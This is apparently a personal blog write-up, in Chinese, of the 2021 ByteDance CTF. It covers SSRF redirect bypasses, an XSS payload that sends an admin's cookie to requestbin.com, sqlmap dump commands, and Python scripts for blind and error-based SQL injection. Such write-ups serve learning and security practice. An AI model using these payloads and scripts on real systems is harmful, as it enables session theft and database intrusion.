2021 bytedance CTF writeup

小白的CTF初体验,感谢海大佬的耐心指导!

题型包括SQL注入、SSRF、XSS、权限绕过、信息泄漏、安卓。字节出的大部分题型都包含多道题,题目的难度也是由浅入深的。比如SQL注入,你可以看到第一道题的golang源码,直接就可以看到gorm是如何拼接字符串的,接下来的几道题目会逐渐减少对参赛者暴露的信息。

优秀工具介绍:

  1. burp 作为proxy抓包,把请求配知道repeater,可以任意修改请求参数来测试
  2. sqlmap sql注入解题利器
  3. requestbin.com 随意生成bin,可以接收测试请求
  4. cloudflare worker 快速创建测试服务

SSRF

  1. 我们想要拿到的flag就在 127.0.0.1:8080/flag,而服务端限制直接访问 127.0.0.1,猜测可能是限制输入地址包含 127(包括限制host是 127.0.0.1),或者限制host可以解析到 127,或者更夸张一些限制Follow,禁止 301/302 到 127。基于此猜想,可以做以下尝试:

    (1)直接在host中写 127,那肯定是被毙掉的

    (2)找一个域名,这个域名是解析到 127 的,但是提交之后被毙掉了,这就证明了服务端会同时禁掉输入地址包含 127 和 域名可以解析到 127

    (3)尝试看是否可以 301/302 到 127,这时候可以使用自己的域名对外提供服务,当接收到请求时,会返回 302/301,同时设置 Location 是 127.0.0.1:8080/flag ,最好修改下 XFF 为 127.0.0.1 。这时候服务端校验通过,可以正常拿到 flag 啦。这里采用的解决办法是:使用 cloudflare 的 workers 来实现这个需求这个 worker 可以理解为普通的云函数,可以随意创建修改发布

    稍微拓展思考下,如果 Follow 被 ban 了呢?有一个比较 tricky 的解决办法,继续使用 cloudflare 的 worker ,但是这里不是无脑 30x 到 127,而是概率性 30x 到 127,这样就就有概率不会被服务端 ban 掉,这时候可以再修改为必定 30x 即可

  2. 服务端输入只允许某个域名(根本就不存在)

    需要想写服务的人会怎么处理输入的url(如果用库的话根本不会有漏洞),考虑到url的标准定义: 协议 + :// + 用户名:密码@域名:端口/路径?query,所以我们可以把用户名写成要求的域名尝试。果然可以!

XSS

原题有三道,并且是循序渐进的。

第一道是提交留言,然后提交留言id给admin审核,这个时候不会限制输入内容,所以可以直接写js脚本,管理员查看输入内容的时候,就可以拿到它的document.cookie了,可以通过

1
<img src=x onerror=<requestbin.com>>

把document.cookie塞到query里就可以了。

这里介绍下requestbin,可以快速创建bin,接收任意请求。

第二道也是提交留言,但是限制留言内容里写js关键字,但是发现页面右上角有户名旁边多了个头像,点击之后发现可以上传头像。通过burp抓到上传头像的请求,发现对头像的限制仅仅是针对头像扩展名,只限制了部分扩展名不能上传,很多乱七八糟的扩展名(比如*.adafd)是可以上传的。所以同上一题,我们可以把文件内容写成同样的内容,这样就成功拿到flag啦

第三道没做出来,还是要多思考

SQL注入

SQL注入的四道题也是剩了一道,第一道题是直接提供了源码给参赛者看,第二道题告诉你有个必定存在的用户名,第三道题在query告诉你query里有哪些可以利用的参数。

先介绍下sqlmap,可以解决大部分SQL注入的题,如下所示

1
python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --dump -D CTF -T flag -C flag

我们也可以用循序渐进的方式,观察数据库的情况

1
2
3
4
python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --tables
python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --dump -D CTF
python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --dump -D CTF -T flag
python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --dump -D CTF -T flag -C flag

第一道题:直接告诉了源码是什么,注入点在order by,可以通过时间盲注的方式猜测数据库的表结构和表内容。如果满足if的条件,就会sleep2秒,这时候就会导致请求超时进入exception,这时候我们可以认为某个字符命中了j的ascii码。注意括号的位置,特别是在mid里,select语句需要加上括号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = "http://10.92.20.150:8287/"
params = {
"content": "%",
"order": ""
}
flag = ""

for i in range(1, 100):
for j in range(32, 127):
# params['order'] = "if(ascii(mid((select group_concat(table_name) from information_schema.TABLES where table_schema=DATABASE()), {}, 1))={}, SLEEP(2), 0)".format(str(i),str(j)) // 拿到所有表名
# params['order'] = "if(ascii(mid((select group_concat(column_name) from information_schema.COLUMNS where table_name='flag'), {}, 1))={}, SLEEP(2), 0)".format(str(i),str(j)) // 拿到flag表名对应的column名
params['order'] = "if(ascii(mid((select flag from flag),{},1))={}, sleep(2), 0)".format(str(i), str(j)) // 拿到flag
try:
requests.get(url, params=params, timeout=2)
except:
flag += chr(j)
print(flag)
break

第二道题:已经提示id是注入点,并且有回显报错,可以使用updatexml的特性拿到想要的信息

经过测试发现报错提示里有个不匹配的又括号,于是猜测语句可能是这个样子的

1
select * from news where id=(...)

左边括号之后是可以注入的部分,所以我们可以考虑闭合括号

1
select * from news where id=(1) ... -- 

接着就可以用updatexml了

1
2
3
4
5
6
7
8
// 拿到所有的表名
and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_name=database()), 0x7e), 1) --
// 拿到所有的库名
and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='flag'), 0x7e), 1) --
// 拿到flag前20位(报错回显有长度限制)
and updatexml(1, concat(0x7e, (select group_concat(mid(flag, 1, 20)) from flag), 0x7e), 1) --
// 拿到flag后20位
and updatexml(1, concat(0x7e, (select group_concat(mid(flag, 21, 20)) from flag), 0x7e), 1) --

第三道题:告诉你有个admin用户存在,通过burp抓包发现接口是这样的

1
2
3
4
5
6
7
8
9
POST /get
{
"uanme": "admin"
}

返回
{
"message": "find user"
}

于是尝试以下几种请求猜测可能的sql语句

  1. admin' -- 发现返回no user find,说明不能无脑注释后面的数据,可能有其他没有闭合的括号
  2. admin' and '1,返回find user
  3. admin') -- 正常返回find user,说明确实有没有闭合的括号

剩下就可以按照第二道题来了

第四道题:发现输入id=1和id=2-1的结果是一样的,说明id是注入点,并且查询可以看到id=1的数据。但是当想要通过union select做一些尝试时,提示非法输入字符,最终发现select被禁止了。这时候就应该知道mysql的版本应该是8.x的,不然select被禁止基本无法跨表查询了

  1. 通过ascii(mid(database(),{},1))={}拿到database的名称(其实不拿也没关系,应为database拿到作用也不大)
  2. 查看当前database有哪些表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def get_table_name():
table = ""
for i in range(1, 50):
for j in range(32, 127):
params["id"] = "1) and ('def', DATABASE(), '{}{}', '', 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21) > (table information_schema.tables limit 327,1".format(table, chr(j))
r = requests.get(url, params=params)
if "this is news123" in r.text:
table += chr(j - 1)
print(table, chr(j - 1))
break
print(table)

def get_column_name():
column
  1. 一般情况下flag表只有一个column,我们可以这样测试下1) and ('')<(table fflll444g limit 0,1,正确返回,所以我们确定flag只有一个column
  2. 通过布尔盲注拿到flag,或者通过union values row(1, (table fflll444g))
Author: suikammd
Link: https://www.suikammd.com/2021/08/15/2021-bytedance-ctf/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.